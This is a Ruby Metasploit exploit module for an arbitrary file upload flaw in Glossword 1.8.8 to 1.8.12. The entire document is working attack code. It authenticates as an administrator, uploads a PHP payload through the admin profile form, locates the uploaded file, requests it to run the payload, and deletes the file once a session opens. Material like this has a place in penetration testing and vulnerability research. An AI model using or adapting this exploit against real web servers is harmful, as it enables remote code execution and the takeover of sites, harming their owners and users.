Glossword 1.8.12 Arbitrary File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",  
'Description' => %q{  
This module exploits a file upload vulnerability in Glossword  
versions 1.8.8 to 1.8.12 when run as a standalone application.  
This application has an upload feature that allows an authenticated user  
with administrator roles to upload arbitrary files to the 'gw_temp/a/'  
directory.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'AkaStep', # Discovery  
'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit  
],  
'References' =>  
[  
[ 'EDB', '24456' ],  
[ 'OSVDB' '89960' ]  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic Targeting', { 'auto' => true }]],  
'Privileged' => true,  
'DisclosureDate' => "Feb 05 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),  
OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),  
OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])  
], self.class)  
end  
  
def check  
  
base = target_uri.path  
peer = "#{rhost}:#{rport}"  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
  
# login  
print_status("#{peer} - Authenticating as user '#{user}'")  
begin  
res = login(base, user, pass)  
if res  
if res.code == 200  
print_error("#{peer} - Authentication failed")  
return Exploit::CheckCode::Unknown  
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/  
print_good("#{peer} - Authenticated successfully")  
return Exploit::CheckCode::Appears  
end  
end  
return Exploit::CheckCode::Safe  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("#{peer} - Connection failed")  
end  
return Exploit::CheckCode::Unknown  
  
end  
  
def on_new_session(client)  
if client.type == "meterpreter"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
client.fs.file.rm("#{@fname}")  
else  
client.shell_command_token("rm #{@fname}")  
end  
end  
  
def upload(base, sid, fname, file)  
  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
data = Rex::MIME::Message.new  
data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")  
data.add_part("edit-own", nil, nil, 'form-data; name="a"')  
data.add_part("users", nil, nil, 'form-data; name="t"')  
data.add_part("Save", nil, nil, 'form-data; name="post"')  
data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')  
data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')  
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')  
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')  
  
data_post = data.to_s  
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(base, 'gw_admin.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data_post,  
})  
  
return res  
end  
  
def login(base, user, pass)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(base, 'gw_login.php'),  
'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"  
})  
return res  
  
end  
  
def exploit  
  
base = target_uri.path  
@peer = "#{rhost}:#{rport}"  
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
  
# login; get session id and token  
print_status("#{@peer} - Authenticating as user '#{user}'")  
res = login(base, user, pass)  
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/  
token = "#{$1}"  
sid = "#{$2}"  
print_good("#{@peer} - Authenticated successfully")  
else  
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")  
end  
  
# upload PHP payload  
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")  
php = %Q|<?php #{payload.encoded} ?>|  
begin  
res = upload(base, sid, @fname, php)  
if res and res.code == 301 and res['location'] =~ /Setting saved/  
print_good("#{@peer} - File uploaded successfully")  
else  
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")  
end  
  
# retrieve PHP file path  
print_status("#{@peer} - Locating PHP payload file")  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),  
'cookie' => "sid#{token}=#{sid}"  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")  
end  
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/  
shell_uri = "#{$1}"  
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')  
print_good("#{@peer} - Found payload file path (#{shell_uri})")  
else  
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")  
end  
  
# retrieve and execute PHP payload  
print_status("#{@peer} - Executing payload (#{shell_uri})")  
begin  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(base, shell_uri),  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")  
end  
if !res or res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")  
end  
end  
end  
`